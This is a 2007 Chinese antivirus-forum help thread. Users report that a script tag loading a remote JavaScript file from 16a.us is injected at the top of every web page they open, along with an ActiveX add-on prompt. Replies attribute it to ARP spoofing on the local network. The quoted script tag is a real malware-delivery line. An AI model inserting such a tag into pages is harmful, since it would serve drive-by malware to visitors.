瑞星卡卡安全论坛

首页 » 技术交流区 » 反病毒/反流氓软件论坛 » 【求助】16a.us被绑定到任何我要访问的网页代码的第一行
为谁心碎 - 2007-6-6 18:55:00
打开任何网页的时候查看其源代码第一行都是<script src=http://16a.us/2.js></script> (不要打开,可能是病毒)
然后出来一段提示: 此网站需要运行以下加载项:“Microsoft Corporation”中的“Microsoft Data Access-Remote Data Services Dat***”。如果您信任该网站和该加载项并允许运行加载项,请单击.
怀疑是中了病毒了,用刚升级的瑞星在安全模式下杀过病毒以后还是这样,用kaka助手杀了也是没有用。怀疑是中什么病毒了,请求解决办法。
kitty216 - 2007-6-6 21:00:00
我昨天中的也是这个病毒,不知道怎么杀,请大侠指点。所有网页的第一条就是进程错误。
kitty216 - 2007-6-6 21:33:00
装一个antiarp sniffer可以发现,有人在一直发ARP欺骗包,中招的机器打开的网页都是经过病毒改装过的。
为谁心碎 - 2007-6-7 17:02:00
ARP RP=人品? 难道是我人品不好吗?瑞星已经升级到最高了还是杀不出来。。。斑主快进来技术支持下啊
mopery - 2007-6-7 17:26:00
ARP 区域网的原因..

档下arp 就没事了..

瑞星 今天的版本会杀..
1
查看完整版本: 【求助】16a.us被绑定到任何我要访问的网页代码的第一行